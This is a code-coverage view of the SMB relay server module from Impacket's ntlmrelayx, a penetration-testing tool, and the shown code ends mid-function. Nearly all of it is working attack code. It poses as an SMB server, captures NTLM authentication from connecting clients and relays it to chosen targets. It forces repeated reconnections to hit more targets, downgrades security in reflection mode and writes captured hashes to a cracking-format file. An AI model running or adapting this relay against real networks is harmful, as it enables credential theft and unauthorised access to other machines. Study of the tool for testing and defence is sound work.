Hide keyboard shortcuts

Hot-keys on this page

r m x p   toggle line displays

j k   next/prev highlighted chunk

0   (zero) top of page

1   (one) first highlighted chunk

1# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 

2# 

3# This software is provided under under a slightly modified version 

4# of the Apache Software License. See the accompanying LICENSE file 

5# for more information. 

6# 

7# SMB Relay Server 

8# 

9# Authors: 

10# Alberto Solino (@agsolino) 

11# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 

12# 

13# Description: 

14# This is the SMB server which relays the connections 

15# to other protocols 

16from __future__ import division 

17from __future__ import print_function 

18from threading import Thread 

19try: 

20 import ConfigParser 

21except ImportError: 

22 import configparser as ConfigParser 

23import struct 

24import logging 

25import time 

26import calendar 

27import random 

28import string 

29import socket 

30import ntpath 

31 

32from binascii import hexlify, unhexlify 

33from six import b 

34from impacket import smb, ntlm, LOG, smb3 

35from impacket.nt_errors import STATUS_MORE_PROCESSING_REQUIRED, STATUS_ACCESS_DENIED, STATUS_SUCCESS, STATUS_NETWORK_SESSION_EXPIRED 

36from impacket.spnego import SPNEGO_NegTokenResp, SPNEGO_NegTokenInit, TypesMech 

37from impacket.smbserver import SMBSERVER, outputToJohnFormat, writeJohnOutputToFile 

38from impacket.spnego import ASN1_AID, MechTypes, ASN1_SUPPORTED_MECH 

39from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections 

40from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor 

41from impacket.smbserver import getFileTime, decodeSMBString, encodeSMBString 

42 

43class SMBRelayServer(Thread): 

44 def __init__(self,config): 

45 Thread.__init__(self) 

46 self.daemon = True 

47 self.server = 0 

48 #Config object 

49 self.config = config 

50 #Current target IP 

51 self.target = None 

52 #Targets handler 

53 self.targetprocessor = self.config.target 

54 #Username we auth as gets stored here later 

55 self.authUser = None 

56 self.proxyTranslator = None 

57 

58 # Here we write a mini config for the server 

59 smbConfig = ConfigParser.ConfigParser() 

60 smbConfig.add_section('global') 

61 smbConfig.set('global','server_name','server_name') 

62 smbConfig.set('global','server_os','UNIX') 

63 smbConfig.set('global','server_domain','WORKGROUP') 

64 smbConfig.set('global','log_file','smb.log') 

65 smbConfig.set('global','credentials_file','') 

66 

67 if self.config.smb2support is True: 

68 smbConfig.set("global", "SMB2Support", "True") 

69 else: 

70 smbConfig.set("global", "SMB2Support", "False") 

71 

72 if self.config.outputFile is not None: 

73 smbConfig.set('global','jtr_dump_path',self.config.outputFile) 

74 

75 if self.config.SMBServerChallenge is not None: 

76 smbConfig.set('global', 'challenge', self.config.SMBServerChallenge) 

77 

78 # IPC always needed 

79 smbConfig.add_section('IPC$') 

80 smbConfig.set('IPC$','comment','') 

81 smbConfig.set('IPC$','read only','yes') 

82 smbConfig.set('IPC$','share type','3') 

83 smbConfig.set('IPC$','path','') 

84 

85 # Change address_family to IPv6 if this is configured 

86 if self.config.ipv6: 

87 SMBSERVER.address_family = socket.AF_INET6 

88 

89 # changed to dereference configuration interfaceIp 

90 if self.config.listeningPort: 

91 smbport = self.config.listeningPort 

92 else: 

93 smbport = 445 

94 

95 self.server = SMBSERVER((config.interfaceIp,smbport), config_parser = smbConfig) 

96 logging.getLogger('impacket.smbserver').setLevel(logging.CRITICAL) 

97 

98 self.server.processConfigFile() 

99 

100 self.origSmbComNegotiate = self.server.hookSmbCommand(smb.SMB.SMB_COM_NEGOTIATE, self.SmbComNegotiate) 

101 self.origSmbSessionSetupAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX, self.SmbSessionSetupAndX) 

102 self.origsmbComTreeConnectAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX) 

103 

104 self.origSmbNegotiate = self.server.hookSmb2Command(smb3.SMB2_NEGOTIATE, self.SmbNegotiate) 

105 self.origSmbSessionSetup = self.server.hookSmb2Command(smb3.SMB2_SESSION_SETUP, self.SmbSessionSetup) 

106 self.origsmb2TreeConnect = self.server.hookSmb2Command(smb3.SMB2_TREE_CONNECT, self.smb2TreeConnect) 

107 # Let's use the SMBServer Connection dictionary to keep track of our client connections as well 

108 #TODO: See if this is the best way to accomplish this 

109 

110 # changed to dereference configuration interfaceIp 

111 self.server.addConnection('SMBRelay', config.interfaceIp, 445) 

112 

113 ### SMBv2 Part ################################################################# 

114 def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False): 

115 connData = smbServer.getConnectionData(connId, checkStatus=False) 

116 

117 respPacket = smb3.SMB2Packet() 

118 respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR 

119 respPacket['Status'] = STATUS_SUCCESS 

120 respPacket['CreditRequestResponse'] = 1 

121 respPacket['Command'] = smb3.SMB2_NEGOTIATE 

122 respPacket['SessionID'] = 0 

123 

124 if isSMB1 is False: 

125 respPacket['MessageID'] = recvPacket['MessageID'] 

126 else: 

127 respPacket['MessageID'] = 0 

128 

129 respPacket['TreeID'] = 0 

130 

131 respSMBCommand = smb3.SMB2Negotiate_Response() 

132 

133 # Just for the Nego Packet, then disable it 

134 respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED 

135 

136 if isSMB1 is True: 

137 # Let's first parse the packet to see if the client supports SMB2 

138 SMBCommand = smb.SMBCommand(recvPacket['Data'][0]) 

139 

140 dialects = SMBCommand['Data'].split(b'\x02') 

141 if b'SMB 2.002\x00' in dialects or b'SMB 2.???\x00' in dialects: 

142 respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002 

143 #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21 

144 else: 

145 # Client does not support SMB2 fallbacking 

146 raise Exception('Client does not support SMB2, fallbacking') 

147 else: 

148 respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002 

149 #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21 

150 

151 respSMBCommand['ServerGuid'] = b(''.join([random.choice(string.ascii_letters) for _ in range(16)])) 

152 respSMBCommand['Capabilities'] = 0 

153 respSMBCommand['MaxTransactSize'] = 65536 

154 respSMBCommand['MaxReadSize'] = 65536 

155 respSMBCommand['MaxWriteSize'] = 65536 

156 respSMBCommand['SystemTime'] = getFileTime(calendar.timegm(time.gmtime())) 

157 respSMBCommand['ServerStartTime'] = getFileTime(calendar.timegm(time.gmtime())) 

158 respSMBCommand['SecurityBufferOffset'] = 0x80 

159 

160 blob = SPNEGO_NegTokenInit() 

161 blob['MechTypes'] = [TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism'], 

162 TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']] 

163 

164 

165 respSMBCommand['Buffer'] = blob.getData() 

166 respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer']) 

167 

168 respPacket['Data'] = respSMBCommand 

169 

170 smbServer.setConnectionData(connId, connData) 

171 

172 return None, [respPacket], STATUS_SUCCESS 

173 

174 

175 def SmbSessionSetup(self, connId, smbServer, recvPacket): 

176 connData = smbServer.getConnectionData(connId, checkStatus = False) 

177 

178 ############################################################# 

179 # SMBRelay 

180 # Are we ready to relay or should we just do local auth? 

181 if 'relayToHost' not in connData: 

182 # Just call the original SessionSetup 

183 respCommands, respPackets, errorCode = self.origSmbSessionSetup(connId, smbServer, recvPacket) 

184 # We remove the Guest flag 

185 if 'SessionFlags' in respCommands[0].fields: 

186 respCommands[0]['SessionFlags'] = 0x00 

187 return respCommands, respPackets, errorCode 

188 

189 # We have confirmed we want to relay to the target host. 

190 respSMBCommand = smb3.SMB2SessionSetup_Response() 

191 sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data']) 

192 

193 connData['Capabilities'] = sessionSetupData['Capabilities'] 

194 

195 securityBlob = sessionSetupData['Buffer'] 

196 

197 rawNTLM = False 

198 if struct.unpack('B',securityBlob[0:1])[0] == ASN1_AID: 

199 # NEGOTIATE packet 

200 blob = SPNEGO_NegTokenInit(securityBlob) 

201 token = blob['MechToken'] 

202 if len(blob['MechTypes'][0]) > 0: 

203 # Is this GSSAPI NTLM or something else we don't support? 

204 mechType = blob['MechTypes'][0] 

205 if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \ 

206 mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']: 

207 # Nope, do we know it? 

208 if mechType in MechTypes: 

209 mechStr = MechTypes[mechType] 

210 else: 

211 mechStr = hexlify(mechType) 

212 smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL) 

213 # We don't know the token, we answer back again saying 

214 # we just support NTLM. 

215 respToken = SPNEGO_NegTokenResp() 

216 respToken['NegState'] = b'\x03' # request-mic 

217 respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] 

218 respToken = respToken.getData() 

219 respSMBCommand['SecurityBufferOffset'] = 0x48 

220 respSMBCommand['SecurityBufferLength'] = len(respToken) 

221 respSMBCommand['Buffer'] = respToken 

222 

223 return [respSMBCommand], None, STATUS_MORE_PROCESSING_REQUIRED 

224 elif struct.unpack('B',securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH: 

225 # AUTH packet 

226 blob = SPNEGO_NegTokenResp(securityBlob) 

227 token = blob['ResponseToken'] 

228 else: 

229 # No GSSAPI stuff, raw NTLMSSP 

230 rawNTLM = True 

231 token = securityBlob 

232 

233 # Here we only handle NTLMSSP, depending on what stage of the 

234 # authentication we are, we act on it 

235 messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0] 

236 

237 if messageType == 0x01: 

238 # NEGOTIATE_MESSAGE 

239 negotiateMessage = ntlm.NTLMAuthNegotiate() 

240 negotiateMessage.fromString(token) 

241 # Let's store it in the connection data 

242 connData['NEGOTIATE_MESSAGE'] = negotiateMessage 

243 

244 ############################################################# 

245 # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. 

246 # Let's send it to the target server and send the answer back to the client. 

247 client = connData['SMBClient'] 

248 try: 

249 challengeMessage = self.do_ntlm_negotiate(client, token) 

250 except Exception as e: 

251 LOG.debug("Exception:", exc_info=True) 

252 # Log this target as processed for this client 

253 self.targetprocessor.logTarget(self.target) 

254 # Raise exception again to pass it on to the SMB server 

255 raise 

256 

257 ############################################################# 

258 

259 if rawNTLM is False: 

260 respToken = SPNEGO_NegTokenResp() 

261 # accept-incomplete. We want more data 

262 respToken['NegState'] = b'\x01' 

263 respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] 

264 

265 respToken['ResponseToken'] = challengeMessage.getData() 

266 else: 

267 respToken = challengeMessage 

268 

269 # Setting the packet to STATUS_MORE_PROCESSING 

270 errorCode = STATUS_MORE_PROCESSING_REQUIRED 

271 # Let's set up an UID for this connection and store it 

272 # in the connection's data 

273 connData['Uid'] = random.randint(1,0xffffffff) 

274 

275 connData['CHALLENGE_MESSAGE'] = challengeMessage 

276 

277 elif messageType == 0x02: 

278 # CHALLENGE_MESSAGE 

279 raise Exception('Challenge Message raise, not implemented!') 

280 

281 elif messageType == 0x03: 

282 # AUTHENTICATE_MESSAGE, here we deal with authentication 

283 ############################################################# 

284 # SMBRelay: Ok, so now the have the Auth token, let's send it 

285 # back to the target system and hope for the best. 

286 client = connData['SMBClient'] 

287 authenticateMessage = ntlm.NTLMAuthChallengeResponse() 

288 authenticateMessage.fromString(token) 

289 if authenticateMessage['user_name'] != '': 

290 # For some attacks it is important to know the authenticated username, so we store it 

291 

292 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), 

293 authenticateMessage['user_name'].decode('utf-16le'))).upper() 

294 

295 if rawNTLM is True: 

296 respToken2 = SPNEGO_NegTokenResp() 

297 respToken2['ResponseToken'] = securityBlob 

298 securityBlob = respToken2.getData() 

299 

300 if self.config.remove_mic: 

301 clientResponse, errorCode = self.do_ntlm_auth(client, token, 

302 connData['CHALLENGE_MESSAGE']['challenge']) 

303 else: 

304 clientResponse, errorCode = self.do_ntlm_auth(client, securityBlob, 

305 connData['CHALLENGE_MESSAGE']['challenge']) 

306 else: 

307 # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials 

308 errorCode = STATUS_ACCESS_DENIED 

309 

310 if errorCode != STATUS_SUCCESS: 

311 #Log this target as processed for this client 

312 self.targetprocessor.logTarget(self.target) 

313 LOG.error("Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc, self.authUser)) 

314 client.killConnection() 

315 else: 

316 # We have a session, create a thread and do whatever we want 

317 LOG.info("Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser)) 

318 # Log this target as processed for this client 

319 self.targetprocessor.logTarget(self.target, True, self.authUser) 

320 

321 ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'], 

322 authenticateMessage['user_name'], 

323 authenticateMessage['domain_name'], authenticateMessage['lanman'], 

324 authenticateMessage['ntlm']) 

325 client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data 

326 

327 if self.server.getJTRdumpPath() != '': 

328 writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], 

329 self.server.getJTRdumpPath()) 

330 

331 connData['Authenticated'] = True 

332 del(connData['relayToHost']) 

333 

334 self.do_attack(client) 

335 # Now continue with the server 

336 ############################################################# 

337 

338 if rawNTLM is False: 

339 respToken = SPNEGO_NegTokenResp() 

340 # accept-completed 

341 respToken['NegState'] = b'\x00' 

342 else: 

343 respToken = '' 

344 # Let's store it in the connection data 

345 connData['AUTHENTICATE_MESSAGE'] = authenticateMessage 

346 else: 

347 raise Exception("Unknown NTLMSSP MessageType %d" % messageType) 

348 

349 respSMBCommand['SecurityBufferOffset'] = 0x48 

350 respSMBCommand['SecurityBufferLength'] = len(respToken) 

351 if respSMBCommand['SecurityBufferLength'] > 0: 

352 respSMBCommand['Buffer'] = respToken.getData() 

353 else: 

354 respSMBCommand['Buffer'] = '' 

355 

356 smbServer.setConnectionData(connId, connData) 

357 

358 return [respSMBCommand], None, errorCode 

359 

360 def smb2TreeConnect(self, connId, smbServer, recvPacket): 

361 connData = smbServer.getConnectionData(connId) 

362 

363 authenticateMessage = connData['AUTHENTICATE_MESSAGE'] 

364 

365 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode ('utf-16le'), 

366 authenticateMessage['user_name'].decode ('utf-16le'))).upper () 

367 

368 # Uncommenting this will stop at the first connection relayed and won't relaying until all targets 

369 # are processed. There might be a use case for this 

370 #if 'relayToHost' in connData: 

371 # # Connection already relayed, let's just answer the request (that will return object not found) 

372 # return self.origsmb2TreeConnect(connId, smbServer, recvPacket) 

373 

374 try: 

375 if self.config.mode.upper () == 'REFLECTION': 

376 self.targetprocessor = TargetsProcessor (singleTarget='SMB://%s:445/' % connData['ClientIP']) 

377 if self.authUser == '/': 

378 LOG.info('SMBD-%s: Connection from %s authenticated as guest (anonymous). Skipping target selection.' % 

379 (connId, connData['ClientIP'])) 

380 return self.origsmb2TreeConnect (connId, smbServer, recvPacket) 

381 self.target = self.targetprocessor.getTarget(identity = self.authUser) 

382 if self.target is None: 

383 # No more targets to process, just let the victim to fail later 

384 LOG.info('SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!' % 

385 (connId, self.authUser, connData['ClientIP'])) 

386 return self.origsmb2TreeConnect (connId, smbServer, recvPacket) 

387 

388 LOG.info('SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s' % (connId, self.authUser, 

389 connData['ClientIP'], self.target.scheme, self.target.netloc)) 

390 

391 if self.config.mode.upper() == 'REFLECTION': 

392 # Force standard security when doing reflection 

393 LOG.debug("Downgrading to standard security") 

394 extSec = False 

395 #recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) 

396 else: 

397 extSec = True 

398 # Init the correct client for our target 

399 client = self.init_client(extSec) 

400 except Exception as e: 

401 LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) 

402 self.targetprocessor.logTarget(self.target) 

403 else: 

404 connData['relayToHost'] = True 

405 connData['Authenticated'] = False 

406 del (connData['NEGOTIATE_MESSAGE']) 

407 del (connData['CHALLENGE_MESSAGE']) 

408 del (connData['AUTHENTICATE_MESSAGE']) 

409 connData['SMBClient'] = client 

410 connData['EncryptionKey'] = client.getStandardSecurityChallenge() 

411 smbServer.setConnectionData(connId, connData) 

412 

413 respPacket = smb3.SMB2Packet() 

414 respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR 

415 respPacket['Status'] = STATUS_SUCCESS 

416 respPacket['CreditRequestResponse'] = 1 

417 respPacket['Command'] = recvPacket['Command'] 

418 respPacket['SessionID'] = connData['Uid'] 

419 respPacket['Reserved'] = recvPacket['Reserved'] 

420 respPacket['MessageID'] = recvPacket['MessageID'] 

421 respPacket['TreeID'] = recvPacket['TreeID'] 

422 

423 respSMBCommand = smb3.SMB2TreeConnect_Response() 

424 

425 # This is the key, force the client to reconnect. 

426 # It will loop until all targets are processed for this user 

427 errorCode = STATUS_NETWORK_SESSION_EXPIRED 

428 

429 

430 respPacket['Status'] = errorCode 

431 respSMBCommand['Capabilities'] = 0 

432 respSMBCommand['MaximalAccess'] = 0x000f01ff 

433 

434 respPacket['Data'] = respSMBCommand 

435 

436 # Sign the packet if needed 

437 if connData['SignatureEnabled']: 

438 smbServer.signSMBv2(respPacket, connData['SigningSessionKey']) 

439 

440 smbServer.setConnectionData(connId, connData) 

441 

442 return None, [respPacket], errorCode 

443 

444 ################################################################################ 

445 

446 ### SMBv1 Part ################################################################# 

447 def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket): 

448 connData = smbServer.getConnectionData(connId, checkStatus = False) 

449 if (recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY) != 0: 

450 if self.config.mode.upper() == 'REFLECTION': 

451 # Force standard security when doing reflection 

452 LOG.debug("Downgrading to standard security") 

453 recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) 

454 

455 return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket) 

456 ############################################################# 

457 

458 def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): 

459 

460 connData = smbServer.getConnectionData(connId, checkStatus = False) 

461 

462 ############################################################# 

463 # SMBRelay 

464 # Are we ready to relay or should we just do local auth? 

465 if 'relayToHost' not in connData: 

466 # Just call the original SessionSetup 

467 return self.origSmbSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket) 

468 

469 # We have confirmed we want to relay to the target host. 

470 respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) 

471 

472 if connData['_dialects_parameters']['Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY: 

473 # Extended security. Here we deal with all SPNEGO stuff 

474 respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters() 

475 respData = smb.SMBSessionSetupAndX_Extended_Response_Data() 

476 sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters']) 

477 sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data() 

478 sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength'] 

479 sessionSetupData.fromString(SMBCommand['Data']) 

480 connData['Capabilities'] = sessionSetupParameters['Capabilities'] 

481 

482 rawNTLM = False 

483 if struct.unpack('B',sessionSetupData['SecurityBlob'][0:1])[0] != ASN1_AID: 

484 # If there no GSSAPI ID, it must be an AUTH packet 

485 blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) 

486 token = blob['ResponseToken'] 

487 else: 

488 # NEGOTIATE packet 

489 blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) 

490 token = blob['MechToken'] 

491 

492 # Here we only handle NTLMSSP, depending on what stage of the 

493 # authentication we are, we act on it 

494 messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0] 

495 

496 if messageType == 0x01: 

497 # NEGOTIATE_MESSAGE 

498 negotiateMessage = ntlm.NTLMAuthNegotiate() 

499 negotiateMessage.fromString(token) 

500 # Let's store it in the connection data 

501 connData['NEGOTIATE_MESSAGE'] = negotiateMessage 

502 

503 ############################################################# 

504 # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. 

505 # Let's send it to the target server and send the answer back to the client. 

506 client = connData['SMBClient'] 

507 try: 

508 challengeMessage = self.do_ntlm_negotiate(client,token) 

509 except Exception: 

510 # Log this target as processed for this client 

511 self.targetprocessor.logTarget(self.target) 

512 # Raise exception again to pass it on to the SMB server 

513 raise 

514 

515 ############################################################# 

516 

517 respToken = SPNEGO_NegTokenResp() 

518 # accept-incomplete. We want more data 

519 respToken['NegState'] = b'\x01' 

520 respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] 

521 respToken['ResponseToken'] = challengeMessage.getData() 

522 

523 # Setting the packet to STATUS_MORE_PROCESSING 

524 errorCode = STATUS_MORE_PROCESSING_REQUIRED 

525 

526 # Let's set up an UID for this connection and store it 

527 # in the connection's data 

528 # Picking a fixed value 

529 # TODO: Manage more UIDs for the same session 

530 connData['Uid'] = 10 

531 

532 connData['CHALLENGE_MESSAGE'] = challengeMessage 

533 

534 elif messageType == 0x03: 

535 # AUTHENTICATE_MESSAGE, here we deal with authentication 

536 ############################################################# 

537 # SMBRelay: Ok, so now the have the Auth token, let's send it 

538 # back to the target system and hope for the best. 

539 client = connData['SMBClient'] 

540 authenticateMessage = ntlm.NTLMAuthChallengeResponse() 

541 authenticateMessage.fromString(token) 

542 

543 if authenticateMessage['user_name'] != '': 

544 #For some attacks it is important to know the authenticated username, so we store it 

545 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), 

546 authenticateMessage['user_name'].decode('utf-16le'))).upper() 

547 

548 clientResponse, errorCode = self.do_ntlm_auth(client,sessionSetupData['SecurityBlob'], 

549 connData['CHALLENGE_MESSAGE']['challenge']) 

550 else: 

551 # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials 

552 errorCode = STATUS_ACCESS_DENIED 

553 

554 if errorCode != STATUS_SUCCESS: 

555 # Let's return what the target returned, hope the client connects back again 

556 packet = smb.NewSMBPacket() 

557 packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS 

558 packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY 

559 packet['Command'] = recvPacket['Command'] 

560 packet['Pid'] = recvPacket['Pid'] 

561 packet['Tid'] = recvPacket['Tid'] 

562 packet['Mid'] = recvPacket['Mid'] 

563 packet['Uid'] = recvPacket['Uid'] 

564 packet['Data'] = b'\x00\x00\x00' 

565 packet['ErrorCode'] = errorCode >> 16 

566 packet['ErrorClass'] = errorCode & 0xff 

567 

568 LOG.error("Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc, self.authUser)) 

569 

570 #Log this target as processed for this client 

571 self.targetprocessor.logTarget(self.target) 

572 

573 client.killConnection() 

574 

575 return None, [packet], errorCode 

576 else: 

577 # We have a session, create a thread and do whatever we want 

578 LOG.info("Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser)) 

579 

580 # Log this target as processed for this client 

581 self.targetprocessor.logTarget(self.target, True, self.authUser) 

582 

583 ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'], 

584 authenticateMessage['user_name'], 

585 authenticateMessage['domain_name'], 

586 authenticateMessage['lanman'], authenticateMessage['ntlm']) 

587 client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data 

588 

589 if self.server.getJTRdumpPath() != '': 

590 writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], 

591 self.server.getJTRdumpPath()) 

592 

593 self.do_attack(client) 

594 # Now continue with the server 

595 ############################################################# 

596 

597 respToken = SPNEGO_NegTokenResp() 

598 # accept-completed 

599 respToken['NegState'] = b'\x00' 

600 

601 # Done with the relay for now. 

602 connData['Authenticated'] = True 

603 del(connData['relayToHost']) 

604 

605 # Status SUCCESS 

606 errorCode = STATUS_SUCCESS 

607 # Let's store it in the connection data 

608 connData['AUTHENTICATE_MESSAGE'] = authenticateMessage 

609 else: 

610 raise Exception("Unknown NTLMSSP MessageType %d" % messageType) 

611 

612 respParameters['SecurityBlobLength'] = len(respToken) 

613 

614 respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] 

615 respData['SecurityBlob'] = respToken.getData() 

616 

617 else: 

618 # Process Standard Security 

619 #TODO: Fix this for other protocols than SMB [!] 

620 respParameters = smb.SMBSessionSetupAndXResponse_Parameters() 

621 respData = smb.SMBSessionSetupAndXResponse_Data() 

622 sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters']) 

623 sessionSetupData = smb.SMBSessionSetupAndX_Data() 

624 sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength'] 

625 sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength'] 

626 sessionSetupData.fromString(SMBCommand['Data']) 

627 

628 client = connData['SMBClient'] 

629 _, errorCode = client.sendStandardSecurityAuth(sessionSetupData) 

630 

631 if errorCode != STATUS_SUCCESS: 

632 # Let's return what the target returned, hope the client connects back again 

633 packet = smb.NewSMBPacket() 

634 packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS 

635 packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY 

636 packet['Command'] = recvPacket['Command'] 

637 packet['Pid'] = recvPacket['Pid'] 

638 packet['Tid'] = recvPacket['Tid'] 

639 packet['Mid'] = recvPacket['Mid'] 

640 packet['Uid'] = recvPacket['Uid'] 

641 packet['Data'] = b'\x00\x00\x00' 

642 packet['ErrorCode'] = errorCode >> 16 

643 packet['ErrorClass'] = errorCode & 0xff 

644 

645 #Log this target as processed for this client 

646 self.targetprocessor.logTarget(self.target) 

647 

648 # Finish client's connection 

649 #client.killConnection() 

650 

651 return None, [packet], errorCode 

652 else: 

653 # We have a session, create a thread and do whatever we want 

654 self.authUser = ('%s/%s' % (sessionSetupData['PrimaryDomain'], sessionSetupData['Account'])).upper() 

655 LOG.info("Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser)) 

656 

657 # Log this target as processed for this client 

658 self.targetprocessor.logTarget(self.target, True, self.authUser) 

659 

660 ntlm_hash_data = outputToJohnFormat('', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], 

661 sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) 

662 client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data 

663 

664 if self.server.getJTRdumpPath() != '': 

665 writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], 

666 self.server.getJTRdumpPath()) 

667 

668 # Done with the relay for now. 

669 connData['Authenticated'] = True 

670 del(connData['relayToHost']) 

671 self.do_attack(client) 

672 # Now continue with the server 

673 ############################################################# 

674 

675 respData['NativeOS'] = smbServer.getServerOS() 

676 respData['NativeLanMan'] = smbServer.getServerOS() 

677 respSMBCommand['Parameters'] = respParameters 

678 respSMBCommand['Data'] = respData 

679 

680 

681 smbServer.setConnectionData(connId, connData) 

682 

683 return [respSMBCommand], None, errorCode 

684 

685 def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket): 

686 connData = smbServer.getConnectionData(connId) 

687 

688 authenticateMessage = connData['AUTHENTICATE_MESSAGE'] 

689 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode ('utf-16le'), 

690 authenticateMessage['user_name'].decode ('utf-16le'))).upper () 

691 

692 # Uncommenting this will stop at the first connection relayed and won't relaying until all targets 

693 # are processed. There might be a use case for this 

694 #if 'relayToHost' in connData: 

695 # # Connection already relayed, let's just answer the request (that will return object not found) 

696 # return self.smbComTreeConnectAndX(connId, smbServer, SMBCommand, recvPacket) 

697 

698 try: 

699 if self.config.mode.upper () == 'REFLECTION': 

700 self.targetprocessor = TargetsProcessor (singleTarget='SMB://%s:445/' % connData['ClientIP']) 

701 if self.authUser == '/': 

702 LOG.info('SMBD-%s: Connection from %s authenticated as guest (anonymous). Skipping target selection.' % 

703 (connId, connData['ClientIP'])) 

704 return self.origsmbComTreeConnectAndX (connId, smbServer, recvPacket) 

705 self.target = self.targetprocessor.getTarget(identity = self.authUser) 

706 if self.target is None: 

707 # No more targets to process, just let the victim to fail later 

708 LOG.info('SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!' % 

709 (connId, self.authUser, connData['ClientIP'])) 

710 return self.origsmbComTreeConnectAndX (connId, smbServer, recvPacket) 

711 

712 LOG.info('SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s' % ( connId, self.authUser, 

713 connData['ClientIP'], self.target.scheme, self.target.netloc)) 

714 

715 if self.config.mode.upper() == 'REFLECTION': 

716 # Force standard security when doing reflection 

717 LOG.debug("Downgrading to standard security") 

718 extSec = False 

719 recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) 

720 else: 

721 extSec = True 

722 # Init the correct client for our target 

723 client = self.init_client(extSec) 

724 except Exception as e: 

725 LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) 

726 self.targetprocessor.logTarget(self.target) 

727 else: 

728 connData['relayToHost'] = True 

729 connData['Authenticated'] = False 

